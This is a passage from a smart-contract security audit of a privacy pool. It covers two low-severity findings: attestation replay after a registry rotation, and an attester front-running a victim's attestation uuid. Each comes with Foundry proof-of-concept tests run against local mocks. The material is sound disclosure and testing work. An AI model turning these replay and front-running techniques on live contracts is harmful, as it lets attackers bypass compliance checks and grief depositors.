        wrapper.testOnlyMove(address(pool), alice, 2 * PAYOUT); // drain the reserve: burn must fail
        (bytes32 oid, bytes32 a1, bytes32 claim1) = _withdraw(PAYOUT, 0);

        ERC20ConfidentialLib.Claim memory c1 = wrapper.getClaim(claim1);
        assertEq(_dec64(c1.ctHash), 0, "failed burn leaves a 0-claim");
        (, , , , euint64 sent1, ebool ok1, ) = pool.attempts(a1);
        assertEq(_dec64(euint64.unwrap(sent1)), 0, "sent = 0");
```

```
        // Honest gateway verdict: the burn really failed ⇒ sign false.
        vm.prank(alice);
        pool.confirmAttempt(a1, false, _signDecrypt(ebool.unwrap(ok1), 0));
        (, PrivacyPool.ObligationStatus st1, , , , , ) = pool.obligations(oid);
        assertEq(uint8(st1), uint8(PrivacyPool.ObligationStatus.RetryAllowed), "RetryAllowed");

        // Restore the reserve, then the permissionless retry re-burns the FULL residual.
        wrapper.testOnlyMove(alice, address(pool), PAYOUT);
        vm.prank(alice);
        bytes32 a2 = pool.retryObligation(oid);
        (, , , , euint64 sent2, ebool ok2, ) = pool.attempts(a2);
        assertEq(_dec64(euint64.unwrap(sent2)), PAYOUT, "retry burns the full residual");
        (, , , , , , euint64 residual2) = pool.obligations(oid);
        assertEq(_dec64(euint64.unwrap(residual2)), 0, "residual zeroed by the retry");

        vm.prank(alice);
        pool.confirmAttempt(a2, true, _signDecrypt(ebool.unwrap(ok2), 1));

        assertEq(_claimAllBob(), PAYOUT, "all value came from the retry claim");
        assertEq(token.balanceOf(bob), PAYOUT, "exactly 1x across both attempts");
    }

    // ============================ TEST 3 - the opposite false verdict strands, it never doubles
    /// A false TRUE verdict on a FAILED burn settles the obligation with residual still full:
    /// the recipient is UNDER-paid (strand), and retryObligation is locked out forever.
    function test_F_001_falseTrueVerdictOnFailedBurnStrandsPayout() public {
        wrapper.testOnlyMove(address(pool), alice, 2 * PAYOUT);
        (bytes32 oid, bytes32 a1,) = _withdraw(PAYOUT, 0);
        (, , , , euint64 sent1, ebool ok1, ) = pool.attempts(a1);
        assertEq(_dec64(euint64.unwrap(sent1)), 0, "burn failed");

        vm.prank(alice);
        pool.confirmAttempt(a1, true, _signDecrypt(ebool.unwrap(ok1), 1));
        (, PrivacyPool.ObligationStatus st1, , , , , ) = pool.obligations(oid);
        assertEq(uint8(st1), uint8(PrivacyPool.ObligationStatus.Settled), "falsely settled");

        vm.prank(alice);
        vm.expectRevert(PrivacyPool.RetryNotAllowed.selector);
        pool.retryObligation(oid);

        (, , , , , , euint64 residual1) = pool.obligations(oid);
        assertEq(_dec64(euint64.unwrap(residual1)), PAYOUT, "residual stranded in Settled");
        assertEq(_dec64(euint64.unwrap(pool.payoutLiability(1))), PAYOUT, "payout liability stranded");
        assertEq(token.balanceOf(bob), 0, "recipient never paid: under-payment, not double-payment");
    }

    // ------------------------------------------------------------------ internals

    /// Mirrors the cofhe hardhat-3 plugin deployMocks (chunk-E7DR6EGV.js): MockTaskManager at the
    /// FHE.sol fixed address, its ACL/revoker/share-registry wiring, both signers, and the
    /// fixed-address MockZkVerifier + MockThresholdNetwork. Any step failing aborts the test.
    function _bootstrapCoFheMocks() internal {
        vm.etch(TASK_MANAGER, vm.getDeployedCode("MockTaskManager"));
        _mockCall(TASK_MANAGER, abi.encodeWithSignature("initialize(address)", address(this)));
        _mockCall(TASK_MANAGER, abi.encodeWithSignature("setSecurityZones(int32,int32)", int32(0),
int32(1)));
        address acl = _create(vm.getCode("MockACL"), address(0), "");
```

```
        _mockCall(TASK_MANAGER, abi.encodeWithSignature("setACLContract(address)", acl));
        address revoker = _create(vm.getCode("ACPTimestampRevoker"), address(0), "");
        _mockCall(acl, abi.encodeWithSignature("setDefaultRevokerContract(address)", revoker));
        address shares = _create(vm.getCode("ACPShareRegistry"), address(0), "");
        _mockCall(acl, abi.encodeWithSignature("setShareRegistry(address)", shares));
        _mockCall(TASK_MANAGER, abi.encodeWithSignature("setVerifierSigner(address)",
vm.addr(ZK_SIGNER_PK)));
        _mockCall(TASK_MANAGER, abi.encodeWithSignature("setDecryptResultSigner(address)",
vm.addr(GATEWAY_PK)));
        vm.etch(ZK_VERIFIER, vm.getDeployedCode("MockZkVerifier"));
        vm.etch(THRESHOLD_NETWORK, vm.getDeployedCode("MockThresholdNetwork"));
        _mockCall(THRESHOLD_NETWORK, abi.encodeWithSignature("initialize(address,address)",
TASK_MANAGER, acl));
    }

    function _mockCall(address target, bytes memory data) internal {
        (bool ok,) = target.call(data);
        require(ok, "mock bootstrap call failed");
    }

    /// Real withdrawal route: transact(FORMAT_PUBLIC, extAmount = -amount) ⇒ Burn obligation
    /// whose first attempt unshields from the pool to `bob` (PP:646-648, PP:828-871).
    function _withdraw(uint64 amount, uint64 expectedSent) internal returns (bytes32 oid, bytes32
attempt1, bytes32 claim1) {
        // noteLiability must cover the withdrawal (it accrues from deposits); find its storage
        // key dynamically instead of hard-coding the layout, then seed the historical state.
        // The proxy's fallback SLOADs the EIP-1967 implementation slot on the same call, so the
        // ERC-1967 slots must be filtered out before trusting a recorded read.
        vm.record();
        pool.noteLiability(1);
        (bytes32[] memory reads,) = vm.accesses(address(pool));
        bytes32 key;
        for (uint256 i = 0; i < reads.length; i++) {
            if (reads[i] == EIP1967_IMPL || reads[i] == EIP1967_ADMIN) continue;
            require(key == bytes32(0), "ambiguous noteLiability slot");
            key = reads[i];
        }
        require(key != bytes32(0), "noteLiability slot not found");
        vm.store(address(pool), key, bytes32(uint256(amount)));
        assertEq(pool.noteLiability(1), amount, "noteLiability seeded");

        PrivacyPool.ExtData memory ext = PrivacyPool.ExtData({
            recipient: bob,
            extAmount: -int256(uint256(amount)),
            withdrawFee: 0, // withdrawFeeBps = 0
            encryptedOutputs: _ciphertexts(),
            chainId: block.chainid,
            pool: address(pool),
            asset: 1,
            format: FORMAT_PUBLIC,
            depositId: bytes32(0),
            referrer: address(0)
        });
        PrivacyPool.TransactProof memory proof = PrivacyPool.TransactProof({
            a: [uint256(1), 2],
            b: [[uint256(1), 2], [uint256(3), 4]],
            c: [uint256(5), 6],
```

```
            root: pool.getLastRoot(),
            inputNullifiers: _nullifiers(),
            outputCommitments: [bytes32(uint256(11)), bytes32(uint256(12)), bytes32(uint256(13))],
            publicAmount: pool.calculatePublicAmount(ext.extAmount),
            extDataHash: bytes32(uint256(keccak256(abi.encode(ext))) % pool.FIELD_SIZE())
        });

        vm.prank(alice);
        pool.transact(proof, ext);

        oid = _lastObligationId();
        (, PrivacyPool.ObligationStatus st0, , address oTo, , bytes32 curA, euint64 residual0) =
pool.obligations(oid);
        assertEq(uint8(st0), uint8(PrivacyPool.ObligationStatus.InFlight), "attempt in flight");
        assertEq(oTo, bob, "obligation pays bob");
        attempt1 = curA;
        (, , , , , , bytes32 claimId0) = pool.attempts(attempt1);
        claim1 = claimId0;
        assertTrue(claim1 != bytes32(0), "burn attempt recorded its claim id");
        (, , , , euint64 sent0, , ) = pool.attempts(attempt1);
        assertEq(_dec64(euint64.unwrap(sent0)), expectedSent, "burn moved exactly the reserve-backed
amount");
    }

    function _claimAllBob() internal returns (uint256 claimedTotal) {
        ERC20ConfidentialLib.Claim[] memory all = wrapper.getUserClaims(bob);
        for (uint256 i = 0; i < all.length; i++) {
            if (all[i].claimed) continue;
            uint64 v = uint64(_dec64(all[i].ctHash));
            vm.prank(bob);
            wrapper.claimUnshielded(all[i].id, v, _signDecrypt(all[i].ctHash, v));
            claimedTotal += v;
        }
    }

    function _lastObligationId() internal view returns (bytes32) {
        return keccak256(abi.encode(block.chainid, address(pool), pool.obligationNonce() - 1));
    }

    function _ciphertexts() internal pure returns (bytes[3] memory cts) {
        cts = [new bytes(168), new bytes(168), new bytes(168)];
    }

    uint256 _nonce;

    function _nullifiers() internal returns (bytes32[] memory n) {
        n = new bytes32[](2);
        n[0] = keccak256(abi.encode("nullifier", ++_nonce));
        n[1] = keccak256(abi.encode("nullifier", ++_nonce));
    }

    /// Plaintext of a handle in the mock TaskManager.
    function _dec64(bytes32 handle) internal view returns (uint256) {
        return ITaskManagerMock(TASK_MANAGER).mockStorage(uint256(handle));
    }

    /// A gateway verdict: the decrypt-result message is the SDK/MockTaskManager layout
```

```
    /// (result || encryptionType || chainId || ctHash), signed raw by the mock decrypt signer.
    function _signDecrypt(bytes32 handle, uint256 result) internal view returns (bytes memory sig) {
        uint256 ctHash = uint256(handle);
        uint8 encryptionType = uint8((ctHash >> 8) & 0x7f);
        bytes32 messageHash = keccak256(
            abi.encodePacked(bytes32(result), bytes4(uint32(encryptionType)),
bytes8(uint64(block.chainid)), bytes32(ctHash))
        );
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(GATEWAY_PK, messageHash);
        sig = abi.encodePacked(r, s, v);
    }

    /// Deploy from artifact creation code, patching every unlinked-library placeholder
    /// (`__$…$__`) with `lib`, then appending constructor args.
    function _create(bytes memory creation, address lib, bytes memory args) internal returns (address a)
{
        if (lib ≠ address(0)) creation = _link(creation, lib);
        bytes memory code = abi.encodePacked(creation, args);
        assembly {
            a := create(0, add(code, 0x20), mload(code))
        }
        require(a ≠ address(0), "create failed");
    }

    function _link(bytes memory code, address lib) internal pure returns (bytes memory out) {
        bytes32 addrWord = bytes32(uint256(uint160(lib)));
        out = new bytes(code.length);
        uint256 src;
        uint256 dst;
        while (src < code.length) {
            uint256 p = _placeholderAt(code, src);
            if (p == type(uint256).max) {
                while (src < code.length) out[dst++] = code[src++];
                break;
            }
            while (src < p) out[dst++] = code[src++];
            for (uint256 j = 12; j < 32; j++) out[dst++] = addrWord[j]; // 20-byte address
            src = _placeholderEnd(code, p);
        }
        assembly {
            mstore(out, dst)
        }
    }

    function _placeholderAt(bytes memory code, uint256 from) internal pure returns (uint256) {
        for (uint256 i = from; i + 5 ≤ code.length; i++) {
            if (code[i] == 0x5f && code[i + 1] == 0x5f && code[i + 2] == 0x24) return i; // "__$"
        }
        return type(uint256).max;
    }

    function _placeholderEnd(bytes memory code, uint256 start) internal pure returns (uint256) {
        for (uint256 i = start + 3; i + 3 ≤ code.length; i++) {
            if (code[i] == 0x24 && code[i + 1] == 0x5f && code[i + 2] == 0x5f) return i + 3; // "$__"
        }
        revert("malformed library placeholder");
    }
```

```
}
```

Recommendation. Add a time-based retry path. It lets the pool pay the residual again after a deadline without a gateway verdict. It does not settle the obligation: each retry starts a new attempt that needs its own signed verdict, and a retry after a delivered attempt requests zero. The property that makes this safe is covered by tests on a public-format withdrawal. A retry after an honestly signed failure pays exactly once, and a failure verdict signed for a payout that was in fact delivered cannot cause a second payment, because the retry requests a zero residual. These tests use the existing retry path after a signed verdict and not a retry from InFlight, which does not exist today, so the developers should confirm the property for the chosen design. Two options are reasonable.

1. Allow `retryObligation` while an obligation is InFlight once a stored deadline has passed.
2. Add a permissionless function that moves an obligation from InFlight to RetryAllowed after the deadline.

Record the deadline when the attempt starts and emit it in the attempt event so that operators can monitor stuck obligations.

REMEDIATION ACKNOWLEDGED

FLUTON

Confirmed, Low. Acknowledged: no fix is planned.

L-06 Rotating the Predicate registry re-arms attestations that were already spent

SEVERITY LOW STATUS ACKNOWLEDGED LOCATION PrivacyPool.sol

Location: PrivacyPool.sol lines 362 to 365 (`setRegistry`), 628 to 630 (`_authorizeDepositor`), 474 to 478 (single-use claim in the documentation).

Description. Deposits and eTOKEN deposit requests call the current registry to validate and spend a single-use attestation. The spent-identifier record lives in the registry's own storage. The signed digest binds the chain, the identifier, the depositor, the pool, the policy and the expiry, but it does not bind the registry address. When the owner calls `setRegistry`, the pool switches to a new registry and re-registers the policy there. The new registry starts with an empty spent set, so an attestation that was already used and has not yet expired validates again, provided the new registry accepts the same attester. The pool keeps no spent-identifier record of its own, so nothing stops the replay. The README states that an attestation is "good once, from one wallet, into this pool, on this chain, under the pool's policy". That statement does not hold across a registry rotation.

Impact. A depositor who holds one unexpired, already-spent attestation can deposit again once for each rotation to a registry that has not yet recorded its identifier, without a fresh compliance evaluation. Rotating back to a registry that already recorded the identifier does not re-arm it. The replaying party is the depositor the attestation was issued to, deposits remain fully backed, and other users are not affected. The window closes just after the attestation's expiration timestamp, because the registry accepts `block.timestamp ⩽ expiration`. Neither the registry nor the pool caps the lifetime. The README says Predicate's attestations are valid for one hour, so with the documented flow a rotation would have to happen within about an hour of the original spend. The README also describes screening as entry-only and point-in-time. The rotation is triggered by the pool owner and needs the new registry to have the same attester registered. For Predicate's registry that is done by the registry's owner, and any registry owner can register a public attester address. The rotation itself is visible through the inherited client's update event, but nothing marks the replay window that it opens.

Proof of concept. Executed against the project's local test registry, with the same scenario re-run by a reviewer against Predicate's registry source from the dependency tree with identical behaviour. An attestation is spent on a first registry by an eTOKEN deposit request of 100 tokens, which records a Pending receipt. Reusing it on the same registry reverts because the identifier is already used. After the owner rotates to a second registry, the identical attestation authorizes a second request of 40 tokens. After a rotation to a third registry it authorizes a third request of 10 tokens. In a separate test, one second after the attestation's expiration a request on a freshly rotated registry reverts with an expiry error. The registry checks expiry before the spent set, so the same holds for a previously spent attestation. The test drives the eTOKEN request path. The one-step deposit path shares `_authorizeDepositor`, so the mechanism is the same, but it was not executed.

Test source (exact).

File: `packages/contracts/test/poc/F-004-PoC.t.sol` **Run:** `npx hardhat test solidity test/poc/F-004-PoC.t.sol`

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.28;

import {Test} from "forge-std/Test.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {TransparentUpgradeableProxy} from
"@openzeppelin/contracts/proxy/transparent/TransparentUpgradeableProxy.sol";
import {MockHasher} from "../../contracts/mocks.sol";
import {MockERC20} from "../../contracts/MockERC20.sol";
import {LocalPredicateRegistry} from "../../contracts/LocalPredicateRegistry.sol";
import {PrivacyPool} from "../../contracts/PrivacyPool.sol";
import {IConfidentialWrapper} from "../../contracts/fhenix/IConfidentialWrapper.sol";
import {Statement, Attestation} from "@predicate/contracts/src/interfaces/IPredicateRegistry.sol";
import {IVerifier, IVerifier16} from "../../contracts/interfaces.sol";
import {TestConfidentialWrapper} from "../../contracts/fhenix/testing/WrapperProbe.sol";
import {ERC20ConfidentialLib} from "fhenix-confidential-
contracts/contracts/ERC20Confidential/ERC20ConfidentialLib.sol";
import {MockTaskManager} from "@cofhe/mock-contracts/contracts/MockTaskManager.sol";
import {MockACL} from "@cofhe/mock-contracts/contracts/MockACL.sol";
import {ACPTimestampRevoker} from "@cofhe/mock-contracts/contracts/ACPTimestampRevoker.sol";
import {ACPShareRegistry} from "@cofhe/mock-contracts/contracts/ACPShareRegistry.sol";
import {MockThresholdNetwork} from "@cofhe/mock-contracts/contracts/MockThresholdNetwork.sol";

/// F-004 PoC - Registry rotation enables single-use attestation replay.
///
/// Claimed structure (F-PP-4, owner-gated trigger):
///   1. PrivacyPool spends an attestation's uuid once per deposit via
///      `_authorizeDepositor` (PP:628-630) → `BasicPredicateClient._authorizeTransaction`
///      → `registry.validateAttestation`, which marks `usedStatementUUIDs[uuid]` in the
///      CURRENT registry's storage. The signed statement hash
///      (`hashStatementWithExpiry`/`hashStatementSafe`, PredicateRegistry.sol:187-228)
///      binds chainid, uuid, msgSender, msg.sender(=pool), msgValue, encodedSigAndArgs,
///      policy, expiration - but NOT the registry address. With `BasicPredicateClient`
///      (WHO-only variant) msgValue and encodedSigAndArgs are canonical ZERO/EMPTY, so the
///      attestation binds no deposit data at all: the uuid spend is the sole anti-replay.
///   2. `setRegistry` (PP:362-365, onlyOwner) → `_setRegistry` swaps `$.registry` and
///      re-registers the CACHED policy with the NEW registry (PredicateClient.sol:106-121),
///      so the fresh registry is immediately fully armed - yet its `usedStatementUUIDs`
///      mapping is empty.
///   3. The same attestation bytes therefore validate again on the new registry: one
///      unexpired attestation is replayable once per registry rotation, i.e. the
///      "single use" spend (PP:628-630) is bypassable an unbounded number of times while
///      the attestation is unexpired.
///
/// The PoC drives the REAL production `requestDeposit` entry point (PP:491-522) on the real
/// PrivacyPool behind its proxy, with the repo's sanctioned LocalPredicateRegistry + mock
/// CoFHE harness (same as the project's own suites and the F-003 PoC). Production delta
/// (documented, does not change the mechanism):
///   - The production registry (PredicateRegistry 2.2.3, upgradeable proxy owned by
///     Predicate Labs, third-party at 0xe15a8Ca5…216E on Sepolia) derives the identical
///     statement hash - PrivacyPoolProxy.t.sol:239-246 pins the LOCAL registry's
///     hashStatementWithExpiry output to the value read from the PRODUCTION Sepolia
///     registry via cast call. So "registry address absent from the signed hash" holds for
///     production, not just the local stand-in.
///   - On rotation to a fresh production registry, Predicate (the registry owner) re-farms
///     attesters/policy exactly as this PoC does with `registerAttester` - the replay
```

```
///     precondition set is identical; only the operator differs.
contract F004RegistryRotationReplayTest is Test {
    // CoFHE mock fixed addresses (Hardhat cofhe plugin, same as F-003 PoC).
    address constant TASK_MANAGER = 0xeA30c4B8b44078Bbf8a6ef5b9f1eC1626C7848D9;
    address constant ZK_VERIFIER = 0x0000000000000000000000000000000000005001;
    address constant THRESHOLD_NETWORK = 0x0000000000000000000000000000000000005002;
    address constant ZK_VERIFIER_SIGNER = 0x6E12D8C87503D4287c294f2Fdef96ACd9DFf6bd2;

    IVerifier constant VERIFIER = IVerifier(address(0xA1)); // never called: requestDeposit skips proofs
    IVerifier16 constant VERIFIER16 = IVerifier16(address(0xA2));
    uint32 constant LEVELS = 20;
    string constant POLICY = "x-fluton-f004";
    uint64 constant DEPOSIT1 = 100e6;
    uint64 constant DEPOSIT2 = 40e6;
    uint64 constant DEPOSIT3 = 10e6;
    string constant UUID = "f004-replay-uuid-0001";

    MockHasher hasher;
    LocalPredicateRegistry registry1;
    LocalPredicateRegistry registry2;
    LocalPredicateRegistry registry3;
    PrivacyPool pool;
    TestConfidentialWrapper wrapper;
    MockERC20 token;
    address owner = makeAddr("owner");
    address depositor = makeAddr("depositor");
    address attester;
    uint256 attesterPk;

    Statement stmt;
    Attestation att;

    function setUp() public {
        _deployCoFheMocks();
        hasher = new MockHasher();
        registry1 = new LocalPredicateRegistry(address(this));

        address lib = _create(vm.getCode("ERC20ConfidentialLib"), address(0), "");
        token = new MockERC20("USD Coin", "USDC", 6); // 6 decimals ⇒ wrapper rate = 1
        bytes memory args = abi.encode(IERC20(address(token)), "Encrypted USD Coin", "eUSDC");
        wrapper = TestConfidentialWrapper(_create(vm.getCode("TestConfidentialWrapper"), lib, args));

        bytes memory initData = abi.encodeCall(
            PrivacyPool.initialize,
            (
                VERIFIER,
                VERIFIER16,
                hasher,
                LEVELS,
                address(wrapper).codehash,
                uint16(0),
                uint16(0),
                address(registry1),
                POLICY,
                owner
            )
        );
```

```
        pool = PrivacyPool(address(new TransparentUpgradeableProxy(address(new PrivacyPool()), owner,
initData)));
        vm.prank(owner);
        pool.addAsset(IConfidentialWrapper(address(wrapper)));

        // Production-equivalent attestation setup: the registry's owner (Predicate in prod)
        // registers the attester, the attester signs the raw statement hash.
        (attester, attesterPk) = makeAddrAndKey("attester");
        registry1.registerAttester(attester);

        // Fund the depositor's eTOKEN balance and let the pool pull it.
        token.mint(address(this), 1_000e6);
        token.approve(address(wrapper), 1_000e6);
        wrapper.shield(address(depositor), 1_000e6);
        vm.prank(depositor);
        wrapper.setOperator(address(pool), type(uint48).max);

        // ONE attestation: WHO-only statement (BasicPredicateClient canonical zeros bind no
        // deposit data), signed over hashStatementWithExpiry - which equals the
        // hashStatementSafe the registry checks from the pool (target == pool == msg.sender).
        stmt = Statement({
            uuid: UUID,
            msgSender: depositor,
            target: address(pool),
            msgValue: 0,
            encodedSigAndArgs: "",
            policy: POLICY,
            expiration: uint64(block.timestamp + 1 hours)
        });
        bytes32 digest = registry1.hashStatementWithExpiry(stmt);
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(attesterPk, digest);
        att = Attestation(stmt.uuid, stmt.expiration, attester, abi.encodePacked(r, s, v));
    }

    // ============================================== TEST 1 - the finding's exact structure
    /// Same attestation bytes authorize TWO different deposits: once on registry1 (legit),
    /// then again on a FRESH registry the owner rotated to - the single-use spend at
    /// PP:628-630 is bypassed exactly once per rotation.
    function test_F_004_attestationReplaysAcrossRegistryRotation() public {
        // --- Legitimate spend #1 on the original registry.
        vm.prank(depositor);
        bytes32 id1 = pool.requestDeposit(1, DEPOSIT1, att);
        assertTrue(registry1.usedStatementUUIDs(UUID), "uuid spent on registry1");
        (address dep1,, uint64 amt1, PrivacyPool.DepositStatus st1,,,) = pool.deposits(id1);
        assertEq(dep1, depositor, "deposit 1 recorded");
        assertEq(amt1, DEPOSIT1, "deposit 1 amount recorded");
        assertEq(uint8(st1), uint8(PrivacyPool.DepositStatus.Pending), "deposit 1 receipt pending");

        // --- Control: on the SAME registry the attestation is strictly single-use.
        vm.prank(depositor);
        vm.expectRevert(bytes("Predicate.validateAttestation: statement UUID already used"));
        pool.requestDeposit(1, DEPOSIT2, att);

        // --- Owner rotates to a FRESH registry; the mixin re-registers the cached policy,
        //     so the new registry is immediately fully armed - with an empty used set.
        registry2 = new LocalPredicateRegistry(address(this));
        registry2.registerAttester(attester); // production migration re-farms the same attesters
```

```
        vm.prank(owner);
        pool.setRegistry(address(registry2));
        assertEq(pool.getRegistry(), address(registry2), "registry swapped");
        assertEq(registry2.getPolicyID(address(pool)), POLICY, "policy re-registered automatically");
        assertFalse(registry2.usedStatementUUIDs(UUID), "fresh registry: uuid unspent again");

        // --- REPLAY: identical attestation bytes, NEW deposit, succeeds.
        vm.prank(depositor);
        bytes32 id2 = pool.requestDeposit(1, DEPOSIT2, att);
        assertTrue(id2 != id1, "a second, distinct deposit was created");
        (, uint32 asset2, uint64 amt2,,,,) = pool.deposits(id2);
        assertEq(asset2, 1);
        assertEq(amt2, DEPOSIT2, "the replayed attestation authorized a DIFFERENT spend");
        assertTrue(registry2.usedStatementUUIDs(UUID), "uuid now spent in registry2 too");

        // Each further rotation buys one more replay while the attestation is unexpired.
        registry3 = new LocalPredicateRegistry(address(this));
        registry3.registerAttester(attester);
        vm.prank(owner);
        pool.setRegistry(address(registry3));
        vm.prank(depositor);
        bytes32 id3 = pool.requestDeposit(1, DEPOSIT3, att);
        (, , uint64 amt3,,,,) = pool.deposits(id3);
        assertEq(amt3, DEPOSIT3, "third spend of the same attestation after a third rotation");
    }

    // ======================== TEST 2 - bounded variant: expiry still gates the replay window
    /// Rotation resets the uuid ledger, NOT the expiry: after `expiration` the replay dies.
    /// This bounds the impact to the attestation's remaining lifetime (matches F-007's
    /// related observation that only expiry, never revocation, retires an attestation).
    function test_F_004_replayWindowClosesAtAttestationExpiry() public {
        registry2 = new LocalPredicateRegistry(address(this));
        registry2.registerAttester(attester);
        vm.prank(owner);
        pool.setRegistry(address(registry2));

        vm.warp(stmt.expiration + 1);
        vm.prank(depositor);
        vm.expectRevert(bytes("Predicate.validateAttestation: attestation expired"));
        pool.requestDeposit(1, DEPOSIT2, att);
    }

    // ------------------------------------------------------------------ internals

    function _deployCoFheMocks() internal {
        vm.etch(TASK_MANAGER, vm.getDeployedCode("MockTaskManager"));
        MockTaskManager(TASK_MANAGER).initialize(address(this));
        MockTaskManager(TASK_MANAGER).setSecurityZones(0, 1);
        MockACL acl = new MockACL();
        MockTaskManager(TASK_MANAGER).setACLContract(address(acl));
        ACPTimestampRevoker revoker = new ACPTimestampRevoker();
        acl.setDefaultRevokerContract(address(revoker));
        ACPShareRegistry shares = new ACPShareRegistry();
        acl.setShareRegistry(address(shares));
        MockTaskManager(TASK_MANAGER).setVerifierSigner(ZK_VERIFIER_SIGNER);
        vm.etch(ZK_VERIFIER, vm.getDeployedCode("MockZkVerifier"));
        vm.etch(THRESHOLD_NETWORK, vm.getDeployedCode("MockThresholdNetwork"));
```

```
        MockThresholdNetwork(THRESHOLD_NETWORK).initialize(TASK_MANAGER, address(acl));
    }

    function _create(bytes memory creation, address lib, bytes memory args) internal returns (address a)
{
        if (lib ≠ address(0)) creation = _link(creation, lib);
        bytes memory code = abi.encodePacked(creation, args);
        assembly {
            a := create(0, add(code, 0x20), mload(code))
        }
        require(a ≠ address(0), "create failed");
    }

    function _link(bytes memory code, address lib) internal pure returns (bytes memory out) {
        bytes32 addrWord = bytes32(uint256(uint160(lib)));
        out = new bytes(code.length);
        uint256 src;
        uint256 dst;
        while (src < code.length) {
            uint256 p = _placeholderAt(code, src);
            if (p == type(uint256).max) {
                while (src < code.length) out[dst++] = code[src++];
                break;
            }
            while (src < p) out[dst++] = code[src++];
            for (uint256 j = 12; j < 32; j++) out[dst++] = addrWord[j]; // 20-byte address
            src = _placeholderEnd(code, p);
        }
        assembly {
            mstore(out, dst)
        }
    }

    function _placeholderAt(bytes memory code, uint256 from) internal pure returns (uint256) {
        for (uint256 i = from; i + 5 ≤ code.length; i++) {
            if (code[i] == 0x5f && code[i + 1] == 0x5f && code[i + 2] == 0x24) return i; // "__$"
        }
        return type(uint256).max;
    }

    function _placeholderEnd(bytes memory code, uint256 start) internal pure returns (uint256) {
        for (uint256 i = start + 3; i + 3 ≤ code.length; i++) {
            if (code[i] == 0x24 && code[i + 1] == 0x5f && code[i + 2] == 0x5f) return i + 3; // "$__"
        }
        revert("malformed library placeholder");
    }
}
```

Recommendation. Record each consumed attestation identifier inside the pool, keyed so that it survives registry rotation, and reject a repeat. A minimal version adds about 135 bytes of runtime code, which nearly consumes the 146 bytes of headroom. Alternatively, record the latest expiration among accepted attestations and allow `setRegistry` only after that time has passed, accepting that this delays urgent rotations. The inherited `PredicateRegistryUpdated` event already announces the rotation, so any new event should carry the outstanding expiry.

REMEDIATION ACKNOWLEDGED

FLUTON

Confirmed, Low. Acknowledged: no fix is planned.

L-07 A registered attester can grief one victim's pending deposit by burning its attestation uuid first

SEVERITY ● LOW STATUS ● ACKNOWLEDGED LOCATION LocalPredicateRegistry.sol

Location: LocalPredicateRegistry.sol lines 24 (`usedStatementUUIDs`), 83 to 96 (`hashStatementSafe`), 99 to 129 (`validateAttestation`).

Description. `usedStatementUUIDs` is one mapping keyed only by the attestation's `uuid` , shared across every caller and every target contract. `validateAttestation` is a plain external function with no caller restriction: anyone can call it directly, not only through the pool. `hashStatementSafe` , the digest the function actually checks the signature against, substitutes the direct caller's own address for the statement's `target` field, which is the mechanism that is supposed to bind a signature to the contract it was issued for. It does not bind the uuid to who is allowed to spend it.

A registered attester can therefore front-run a specific victim's deposit. An attestation's `uuid` is plain calldata, visible in the victim's transaction once it reaches the mempool, before it is mined. The attester builds their own `Statement` carrying that same `uuid` , signs it with their own key over `hashStatementSafe` evaluated at their own calling address, and calls `validateAttestation` directly. The call needs nothing from the victim: it is a fully valid, self-consistent attestation from a real registered key, so every check in `validateAttestation` passes and `usedStatementUUIDs[uuid]` is set. When the victim's real deposit then reaches the pool, `_authorizeDepositor` calls the same function with the same uuid and the check at line 104 fails with `statement UUID already used` , even though the victim's own attestation and signature were never invalid and never compromised.

Predicate's own production registry has the identical shape. Cantina's May 28, 2025 review of `predicate-contracts` (commit `828e42c8`) reports this exact pattern as finding 3.1.1, `Global spentTaskIds mapping allows malicious Task ID griefing` , against `ServiceManager.sol` 's own global `spentTaskIDs` mapping: `a malicious operator can front-run an _authorizeTransaction call from any client and submit the same taskId... effectively griefs the user's intended operation` . Predicate's own response was to acknowledge it without fixing it, citing their permissioned, vetted operator set as the mitigating control. `LocalPredicateRegistry.sol` 's own header comment states it validates attestations the way the real registry does and is pinned against Predicate's own Sepolia registry, so the same shape is present in both the project's own stand-in and the production registry it mirrors.

This is a different mechanism from the already-reported I-04. I-04 is the pool owner replacing a correctly behaving registry with one that approves everything. Here the registry is unchanged and correctly configured, and a single attester who is otherwise legitimately registered, using only their own key and no forged signature, griefs one named victim's one pending deposit. The precondition is being a registered attester, a privileged but not owner-level role, and the project's own design documents multiple attesters being simultaneously valid during ordinary key rotation.

Impact. No funds are at risk and no other user's deposit is affected. The victim's specific attestation is permanently unusable once its uuid is burned this way, but a fresh request with a new uuid proceeds normally, so the attack costs the victim a retry rather than a lasting block. The attacker spends only their own gas and needs no capital.

Proof of concept. A registered attester calls `validateAttestation` directly with the same `uuid` as a victim's real, honestly-issued attestation, self-signed with their own key. The victim's attestation, submitted afterward through the real `PrivacyPool.requestDeposit` , then reverts with `statement UUID already used` , even though it was never invalid. A retry with a fresh uuid succeeds.

Test source (exact).

File: `packages/contracts/test/poc/F-029-PoC.t.sol` **Run:** `npx hardhat test solidity test/poc/F-029-PoC.t.sol`

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.28;

/// F-029 PoC - LocalPredicateRegistry's usedStatementUUIDs is one GLOBAL mapping keyed only
/// by uuid, not scoped to caller or target. A registered attester can front-run a specific
/// victim's pending attestation by calling validateAttestation directly with the same uuid
/// and their own self-signed statement, burning the uuid before the victim's real
/// transaction lands. This mirrors Cantina's real, Acknowledged-not-fixed finding 3.1.1
/// against Predicate Labs' own production ServiceManager.sol, whose spentTaskIds mapping
/// has the identical global-scope shape.
///
/// Distinct from the already-reported I-04 (owner swaps the whole registry for a malicious
/// one): here the registry is correctly configured and a single otherwise-legitimate,
/// registered attester griefs one victim using only their own valid key, no forged
/// signature and no compromise of anyone else's key.
import {Test} from "forge-std/Test.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {TransparentUpgradeableProxy} from
"@openzeppelin/contracts/proxy/transparent/TransparentUpgradeableProxy.sol";
import {MockHasher} from "../../contracts/mocks.sol";
import {MockERC20} from "../../contracts/MockERC20.sol";
import {LocalPredicateRegistry} from "../../contracts/LocalPredicateRegistry.sol";
import {PrivacyPool} from "../../contracts/PrivacyPool.sol";
import {IConfidentialWrapper} from "../../contracts/fhenix/IConfidentialWrapper.sol";
import {Statement, Attestation} from "@predicate/contracts/src/interfaces/IPredicateRegistry.sol";
import {IVerifier, IVerifier16} from "../../contracts/interfaces.sol";
